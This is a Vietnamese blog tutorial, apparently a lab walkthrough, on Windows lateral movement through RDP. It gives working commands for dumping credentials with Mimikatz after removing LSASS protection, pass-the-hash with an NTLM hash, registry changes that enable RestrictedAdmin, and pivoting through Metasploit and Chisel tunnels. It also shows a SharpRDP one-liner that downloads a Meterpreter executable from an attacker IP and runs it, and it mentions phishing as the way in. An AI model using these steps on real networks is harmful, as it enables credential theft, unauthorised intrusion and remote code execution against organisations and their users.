+7

Leo thang đặc quyền ngang trên Windows

MTP-lateral-movement-social-2.png

Chiếm quyền truy cập vào một Server hay một Client trong một hệ thống mạng nội bộ chỉ là bước đầu tiên trong quá trình xâm nhập điển hình. Khi chúng ta có quyền truy cập ban đầu, mục tiêu của chúng ta là xâm phạm càng nhiều càng tốt tài sản của tổ chức, để từ đó có được quyền truy cập đặc biệt hơn hoặc có đặc quyền truy xuất các thông tin bí mật.

Một chiến dịch sử dụng email độc hại được gửi từ các thành viên trong nội bộ công ty sẽ mang tính chất uy tín hơn so với một email được gửi từ bên ngoài. Một thiết bị IOT (máy in, camera) sẽ dễ dàng bị tổn thương hơn so với một máy chủ được cập nhật thường xuyên. Đồng thời chúng ta cũng có thể sử dụng các thông tin đăng nhập bị rò rỉ để có quyền truy cập vào hệ thống internal.

Mặc dù có nhiều kỹ thuật Lateral Movement mà ta có thể tận dụng để chống lại Windows, tuy nhiên hầu hết dựa vào việc sử dụng lại hash NTLM hoặc ticket Kerberos. Các kỹ thuật có giá trị hoạt động tốt với cả workstation & server

Trong phần này, chúng ta sẽ tập trung khai thác một số kỹ thuật Lateral Movement mà không dựa vào các lỗ hổng phần mềm.

Chúng ta sẽ bắt đầu với Remote Desktop Protocol

1. Về Remote Desktop Protocol

Remote Desktop Protocol (RDP) là một giao thức mạng do Microsoft phát triển, được sử dụng để giao tiếp giữa Client và Server. Nó được sử dụng phổ biến trong nhiều môi trường doanh nghiệp để quản trị từ xa. Đây cũng có thể là một công cụ tuyệt vời để có thể lợi dụng lateral movement.

1.1. Lateral Movement with RDP

Mặc dù được thiết kế cho quản trị viên hệ thống, nhưng RDP có thể bị những kẻ tấn công lạm dụng.

Ở đây ta xây dựng một môi trường như sau:

image.png

Bài toán đặt ra khi ta đã có thông tin đăng nhập vào corp1 , appsrv01 và cần thông tin để đăng nhập vào máy chủ DC (thông tin đăng nhập lab/lab)

Ta tiến hành đăng nhập vào máy chủ corp1

xfreerdp /f /u:"corp1\lab" /v:"192.168.138.10" /p:"lab"

Sau đó tiến hành RDP vào "appsrv01" .

Ở đây, chúng ta hoàn toàn không thể đăng nhập trực tiếp từ máy Kali đến appsrv01 vì đơn giản chúng ta đang không được join Domain. Việc sử dụng RDP cho phép ta đăng nhập vào appsrv01 thông qua corp1

Thông thường nếu chúng ta kết nối với máy A với tài khoản X. Thì những ai đang sử dụng tài khoản X này sẽ ngay lập tức bị ngắt kết nối. Để tránh điều đó xảy ra , sử dụng tùy chọn /admin để cho phép với phiên quản trị

Khi một kết nối RDP được tạo, các NTLM hash sẽ nằm trong memory trong suốt thời gian của phiên. Phiên này sẽ không terminate nếu không được logout đúng cách,có nghĩa là chỉ cần ngắt kết nối khỏi các phiên sẽ để lại hash trong memory. Đây là một vector chúng ta có thể lợi dụng để tấn công.

Kiểm tra thông tin đăng nhập của người dùng lab trên appsrv01 với Mimikatz .

C:\Tools\mimikatz.exe (administrative console) > disable LSA protection > Dump Credential
privilege::debug

!processprotect /process:lsass.exe /remove

sekurlsa::logonpasswords

Kết quả mimikatz

mdVScreenshot_4.png

Điều này sẽ cực kỳ có ích nếu chúng ta xâm nhập được vào máy chủ JUMP. Chúng ta có thể dump bất kỳ thông tin đăng nhập đã nào đã cache lạ

Máy chủ JUMP là một máy chủ đặc biệt trong doanh nghiệp, được sử dụng để đăng nhập vào các tài nguyên trong nội bộ. Ví dụ thay vì RDP trực tiếp vào Server, ta RDP vào JUMP Server trước rồi từ đó mới RDP vào Server

Trong nỗ lực ngăn chặn những kẻ tấn công đánh cắp thông tin đăng nhập trên máy chủ bị xâm nhập. Microsoft đã giới thiệu tính năng RDP Restricted Admin Mode cho phép quản trị viên hệ thống thực hiện đăng nhập RDP an toàn. Tính năng này cho phép đăng nhập không yêu cầu thông tin xác thực dạng bản rõ và đồng thời không lưu trữ chúng trong memory.

Loại đăng nhập này thường được sử dụng bới các service accounts ( nó sử dụng chính thông tin đang đăng nhập đang sử dụng ở máy chủ A cho máy chủ B)

Chúng ta có thể sử dụng chế độ quản trị hạn chế bằng cách cung cấp tham số /restrictedadmin cho mstsc.exe.

hIUScreenshot_5.png

Chúng ta thử tiến hành DUMP thông tin với Mimikatz

C:\Tools\mimikatz.exe (administrative console) > disable LSA protection > Dump Credential
privilege::debug

!processprotect /process:lsass.exe /remove

sekurlsa::logonpasswords

xByScreenshot_6.png

Kết quả không thấy NTLM hash của lab. Việc này cho phép tránh khỏi các cuộc tấn công trích xuất dữ liệu từ cache Tuy nhiên lại "nảy nòi" ra một cuộc tấn công khác dựa trên tính năng này - Pass The Hash

image.png

Quay lại bên trên ta thấy rằng, người dùng lab đăng nhập vào appsrv01 mà không cần nhập password. Điều này cho thấy NTLM hash đã được sử dụng để trực tiếp đăng nhập thay cho mật khẩu.

Ở đây ta giả định rằng chúng ta đã sở hữu NTLM hash của admin và đã đăng nhập vào với tư cách người dùng lab

Thông tin như sau

user : admin
domain : corp1
ntlm:2892D26CDF84D7A20E2EB3B9A05C425E

Thực hiện cuộc tấn công Pass-the-Hash với Mimikatz

privilege::debug

sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A20E2EB3B9A05C425E /run:"mstsc.exe /restrictedadmin"

xohScreenshot_7.png

Nếu tính năng này không được bật . Chúng ta cần bật nó lên để sử dụng

Điều đầu tiên chúng ta sẽ phải tắt tính năng RestrictedAdmin (xác nhận được rằng nó bị tắt) sau đó sử dụng Pass-the-hash để bật nó lên

Để tắt RestrictedAdmin trên appsrv01 ta sử dụng command

Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin

EZEScreenshot_1.png

Xác nhận chức năng này đã bị tắt

V11Screenshot_2.png

Bây giờ chúng ta sẽ bật nó lên với Powershell

Trên máy Windows 10 tiến hành PTH (run powershell thay vì mstsc.exe)

sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A20E2EB3B9A05C425E /run:powershell

Trên Powershell (lúc này đang chạy với session admin của appsrv01). Ta tiến hành bật RestrictedAdmin

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0

Kết quả thành công, chúng ta lại có thể tiếp tục PTH

uvNScreenshot_3.png

Lần này chúng ta có thể sử dụng xfreerdp để PTH

CaIScreenshot_4.png

1.2.Reverse RDP Proxying with Metasploit

Có quyền truy cập GUI vào một máy bị xâm nhập giúp ta có thể đơn giản hóa rất nhiều các hoạt động post-exploit. Tuy nhiên có nhiều cơ chế bảo vệ có thể làm phức tạp cách tiếp cận này. Đặc trưng nhất là Firewall và NAT

Ta xem xét mô hình sau

ggJScreenshot_1.png

Giả sử ta đã chiếm quyền điều khiển một máy trong Local thông qua phishing và có đầy đủ thông tin để đăng nhập thông qua RDP. Tuy nhiên do FW đã block phương thức này, ta buộc phải sử dụng "kết nối hiện tại" để tạo tunnel cho RDP traffic

Ta sử dụng meterpreter để thực hiện điều này

Đầu tiên ta tạo 1 revershell trên máy Kali

TuCScreenshot_2.png

Tiếp tới, ta tiến hành phishing để người dùng thực thi mã ( Ví dụ thế )

Sau khi người dùng thực thi mã, ta có 1 connection

IXPScreenshot_3.png

Tiến hành Pivoting

use multi/manage/autoroute
set session 2
exploit
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
exploit -j

qNgScreenshot_4.png

6NRScreenshot_6.png

Chúng ta có thể sử dụng proxychain để tiến hành định tuyến

sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'

Sử dụng proxychain để RDP vào target

proxychains rdesktop 192.168.138.10

1.4.Reverse RDP Proxying with Chisel

Trong một số trường hợp, không thể sử dụng meterpreter (do đi thi bị cấm hay nó một lý do khác) chúng ta phải dựa vào các ứng dụng độc lập. Công cụ truyền thống được lựa chọn cho việc này là phiên bản command line của puttty là plink. Tuy nhiên chúng ta sẽ sử dụng một công cụ "xịn" hơn là chisel để tiến hành công việc này

Chisel là một phần mềm tạo tunnel mã nguồn mở - xây dựng trên ngôn ngữ lập trình golang. Nó hoạt động băng cách thiết lập một tunnel TCP và thực hiện truyền dữ liệu thông qua HTTP đồng thời bảo mật nó bằng SSH.

Cài đặt Chisel

sudo apt-get install golang
git clone https://github.com/jpillora/chisel.git
cd chisel/
go build

7XKScreenshot_7.png

Với phiên bản Linux đã được biên dịch, chúng ta sẽ chuyển sang phiên bản Windows.

env GOOS=windows GOARCH=amd64 go build -o chisel.exe -ldflags "-s -w"

Trên máy Kali

Ta tiến hành thiết lập reverse tunnel

./chisel server -p 8080 --socks5

Tiếp theo, ta tiến hành cấu hình máy chủ proxy SOCKS với SSH

ssh -N -D 0.0.0.0:2080 localhost

Screenshot_8.png

Trên máy nạn nhân

chisel.exe client 192.168.149.138:8080 socks

Cuối cùng ta có thể kết nối RDP qua tunnel

sudo proxychains rdesktop 192.168.138.10

Kết nối thành công !!!!

9yqScreenshot_9.png

Trong môi trường thực tế, nếu Server có kết nối internet, ta có thể sử dụng Ngrok để thiết lập tunnel - chuyển RPD traffic qua đó

1.3.RDP as a Console

Mặc dù RPD được biết tới với giao diện GUI, tuy nhiên ta cũng có thể sử dụng nó như một công cụ dòng lệnh. Kỹ thuật này sẽ làm giảm lưu lượng kết nối , tránh bị "lag" trong quá trình tấn công

SharpRDP là một ứng dụng được viết bằng C#, sử dụng giao diện lệnh để hiển thị với chức năng kết nối như mstsc.exe

SharpRDP được sử dụng như sau :

SharpRDP.exe computername=appsrv01 command=ipconfig username=corp1\lab password=lab

uHtScreenshot_5.png

Dễ dàng nhận thấy được, đây là "Blind Command" , trên thực tế chúng ta có thể làm điều này hữu ích hơn bằng cách chạy một revershell

sharprdp.exe computername=appsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/met.exe', 'C:\Windows\Tasks\met.exe'); C:\Windows\Tasks\met.exe" username=corp1\lab password=lab

All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.